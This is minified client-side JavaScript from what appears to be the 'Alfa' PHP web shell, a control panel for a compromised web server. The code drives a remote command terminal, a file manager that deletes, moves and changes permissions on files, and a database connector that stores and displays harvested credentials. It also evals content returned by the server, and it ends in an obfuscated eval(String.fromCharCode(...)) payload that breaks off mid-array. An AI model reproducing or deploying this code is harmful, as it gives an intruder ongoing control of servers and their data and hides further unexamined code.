t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",JSON.stringify(a),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",JSON.stringify(o),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>
<script>eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,32,99,46,116,111,83,116,114,105,110,103,40,51,54,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,123,100,91,99,46,116,111,83,116,114,105,110,103,40,97,41,93,61,107,91,99,93,124,124,99,46,116,111,83,116,114,105,110,103,40,97,41,125,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,123,105,102,40,107,91,99,93,41,123,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,125,125,114,101,116,117,114,110,32,112,125,40,39,48,32,49,61,103,46,52,40,41,43,92,39,58,92,39,43,53,40,100,46,54,44,55,41,59,48,32,50,61,57,32,56,40,4